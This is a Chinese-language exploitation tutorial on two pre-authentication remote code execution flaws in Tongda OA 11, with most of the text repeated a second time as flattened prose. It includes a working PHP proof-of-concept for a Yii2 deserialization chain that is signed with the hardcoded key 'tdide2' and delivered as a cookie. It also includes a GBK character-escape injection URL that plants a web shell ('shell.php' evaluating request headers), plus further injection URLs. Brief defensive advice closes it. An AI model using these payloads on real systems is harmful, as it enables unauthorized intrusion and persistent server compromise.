【Web实战】对通达OA11前台RCE的两个漏洞的分析与调优
字数 1522 2025-08-10 08:28:47

通达OA11前台RCE漏洞分析与利用教学

1. 前台反序列化漏洞分析

1.1 漏洞背景

通达OA11系统中存在一个前台反序列化漏洞,攻击者可以在未授权的情况下通过精心构造的序列化数据实现远程代码执行(RCE)。

1.2 漏洞原理

漏洞存在于通达OA的cookie反序列化机制中,系统会接收并反序列化经过HMAC-SHA256签名的序列化数据。由于使用了存在安全问题的Yii2框架(版本2.0.13-dev),攻击者可以构造恶意序列化链实现代码执行。

1.3 反序列化链分析

1.3.1 反序列化起点

反序列化链从BatchQueryResult类的__destruct方法开始:

namespace yii\db {
    class BatchQueryResult {
        private $_dataReader;
        public function __destruct() {
            $this->reset();
        }
        public function reset() {
            if ($this->_dataReader !== null) {
                $this->_dataReader->close();  // 关键调用点
            }
        }
    }
}

1.3.2 链式调用过程

  1. 通过$this->_dataReader->close()调用触发ColumnSchemaBuilder__toString方法
  2. __toString中调用getTypeCategory方法
  3. getTypeCategory中对categoryMap进行数组式访问
  4. 由于categoryMap可控,可以设置为实现了ArrayAccess接口的ArrayCache
  5. 触发ArrayCacheoffsetGet方法,最终到达call_user_func实现代码执行

1.3.3 关键利用点

namespace yii\caching {
    class ArrayCache implements \ArrayAccess {
        public function offsetGet($key) {
            return $this->get($key);
        }
        public function get($key) {
            $value = $this->getValue($key);
            if ($this->serializer !== null) {
                $value = call_user_func($this->serializer[1], $value); // 代码执行点
            }
            return $value;
        }
    }
}

1.4 漏洞利用POC

<?php
namespace yii\db {
    class ColumnSchemaBuilder {
        protected $type = 'x';
        public $categoryMap;
        function __construct($categoryMap) {
            $this->categoryMap = $categoryMap;
        }
    }
    class Connection {
        public $pdo = 1;
        function __construct($dsn) {
            $this->dsn = $dsn;
        }
    }
    class BatchQueryResult {
        private $_dataReader;
        function __construct($dataReader) {
            $this->_dataReader = $dataReader;
        }
    }
}

namespace yii\caching {
    class ArrayCache {
        public $serializer;
        private $_cache;
        function __construct($function, $parameter) {
            $this->serializer = [1 => $function];
            $this->_cache = ['x' => [$parameter, 0]];
        }
    }
}

namespace {
    $function = 'system';
    $parameter = 'whoami';
    
    $cache = new \yii\caching\ArrayCache($function, $parameter);
    $csb = new \yii\db\ColumnSchemaBuilder($cache);
    $conn = new \yii\db\Connection($csb);
    $query = new \yii\db\BatchQueryResult($conn);
    
    $data = serialize($query);
    $data = hash_hmac('sha256', $data, 'tdide2').$data; // 通达OA的cookie反序列化校验
    echo urlencode($data);
}

1.5 漏洞利用步骤

  1. 生成恶意序列化数据
  2. 计算HMAC-SHA256签名(密钥为'tdide2')
  3. 将签名与序列化数据拼接
  4. 将最终数据作为cookie发送给服务器

2. 前台代码注入漏洞分析

2.1 漏洞背景

通达OA11的/general/appbuilder/web/portal/gateway/getdata接口存在代码注入漏洞,攻击者可以通过精心构造的activeTab参数实现任意代码执行。

2.2 漏洞原理

漏洞源于AppUtils::toUTF8方法中对iconv函数的不安全使用,结合eval函数导致代码注入:

static public function toUTF8($value, $b_force) {
    if (yii::$app->params["QuickConvertCharset"]) {
        try {
            $s_conv = iconv("GBK", "UTF-8", var_export($value, true) . ";");
            if ($s_conv) {
                eval("return " . $s_conv);  // 代码执行点
            }
        }
        // ...
    }
}

2.3 漏洞触发路径

  1. 请求/general/appbuilder/web/portal/gateway/getdata接口
  2. 传入module=Carouselimage和恶意activeTab参数
  3. 数据经过PortalComponent->GetData处理
  4. 调用AppUtils::toUTF8进行编码转换
  5. iconv函数处理GBK到UTF-8转换时产生字符逃逸
  6. 最终导致eval执行恶意代码

2.4 字符逃逸原理

利用GBK编码特性实现单引号逃逸:

  • 的UTF-8编码是0xe98ca6
  • GBK编码是0xe55c
  • 传入%e5与转义的单引号\'组合成0xe55c即"錦"
  • 导致单引号逃逸出字符串边界

2.5 漏洞利用POC

/general/appbuilder/web/portal/gateway/getdata?activeTab=%e5',1%3d>fwrite(fopen("shell.php","w"),"<?php @eval(next(getallheaders()));"))%3b/*&id=19&module=Carouselimage

2.6 其他可利用组件

除了Carouselimage,其他组件也可利用:

  1. Zhidao组件:

    /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5'.var_dump(111));/*&id=1&module=Zhidao
    
  2. More路由:

    /general/appbuilder/web/portal/gateway/more?activeTab=%e5'.var_dump(111)));/*&id=1&module=Zhidao
    

3. 漏洞防御建议

  1. 反序列化漏洞防御:

    • 禁用不可信的序列化数据
    • 使用白名单限制可反序列化的类
    • 更新Yii2框架到安全版本
  2. 代码注入漏洞防御:

    • 对用户输入进行严格过滤
    • 避免使用eval函数
    • 使用安全的字符编码转换函数
    • iconv函数进行严格的输入验证
  3. 通用防御措施:

    • 实施最小权限原则
    • 部署WAF防护
    • 定期进行安全审计和代码审查

4. 总结

通达OA11的两个前台RCE漏洞分别利用了反序列化和字符编码转换的安全问题,都能导致严重的远程代码执行后果。安全团队应及时检查系统是否存在这些漏洞,并采取相应的防护措施。

通达OA11前台RCE漏洞分析与利用教学 1. 前台反序列化漏洞分析 1.1 漏洞背景 通达OA11系统中存在一个前台反序列化漏洞,攻击者可以在未授权的情况下通过精心构造的序列化数据实现远程代码执行(RCE)。 1.2 漏洞原理 漏洞存在于通达OA的cookie反序列化机制中,系统会接收并反序列化经过HMAC-SHA256签名的序列化数据。由于使用了存在安全问题的Yii2框架(版本2.0.13-dev),攻击者可以构造恶意序列化链实现代码执行。 1.3 反序列化链分析 1.3.1 反序列化起点 反序列化链从 BatchQueryResult 类的 __destruct 方法开始: 1.3.2 链式调用过程 通过 $this->_dataReader->close() 调用触发 ColumnSchemaBuilder 的 __toString 方法 __toString 中调用 getTypeCategory 方法 getTypeCategory 中对 categoryMap 进行数组式访问 由于 categoryMap 可控,可以设置为实现了 ArrayAccess 接口的 ArrayCache 类 触发 ArrayCache 的 offsetGet 方法,最终到达 call_user_func 实现代码执行 1.3.3 关键利用点 1.4 漏洞利用POC 1.5 漏洞利用步骤 生成恶意序列化数据 计算HMAC-SHA256签名(密钥为'tdide2') 将签名与序列化数据拼接 将最终数据作为cookie发送给服务器 2. 前台代码注入漏洞分析 2.1 漏洞背景 通达OA11的 /general/appbuilder/web/portal/gateway/getdata 接口存在代码注入漏洞,攻击者可以通过精心构造的 activeTab 参数实现任意代码执行。 2.2 漏洞原理 漏洞源于 AppUtils::toUTF8 方法中对 iconv 函数的不安全使用,结合 eval 函数导致代码注入: 2.3 漏洞触发路径 请求 /general/appbuilder/web/portal/gateway/getdata 接口 传入 module=Carouselimage 和恶意 activeTab 参数 数据经过 PortalComponent->GetData 处理 调用 AppUtils::toUTF8 进行编码转换 iconv 函数处理GBK到UTF-8转换时产生字符逃逸 最终导致 eval 执行恶意代码 2.4 字符逃逸原理 利用GBK编码特性实现单引号逃逸: 錦 的UTF-8编码是 0xe98ca6 GBK编码是 0xe55c 传入 %e5 与转义的单引号 \' 组合成 0xe55c 即"錦" 导致单引号逃逸出字符串边界 2.5 漏洞利用POC 2.6 其他可利用组件 除了 Carouselimage ,其他组件也可利用: Zhidao组件 : More路由 : 3. 漏洞防御建议 反序列化漏洞防御 : 禁用不可信的序列化数据 使用白名单限制可反序列化的类 更新Yii2框架到安全版本 代码注入漏洞防御 : 对用户输入进行严格过滤 避免使用 eval 函数 使用安全的字符编码转换函数 对 iconv 函数进行严格的输入验证 通用防御措施 : 实施最小权限原则 部署WAF防护 定期进行安全审计和代码审查 4. 总结 通达OA11的两个前台RCE漏洞分别利用了反序列化和字符编码转换的安全问题,都能导致严重的远程代码执行后果。安全团队应及时检查系统是否存在这些漏洞,并采取相应的防护措施。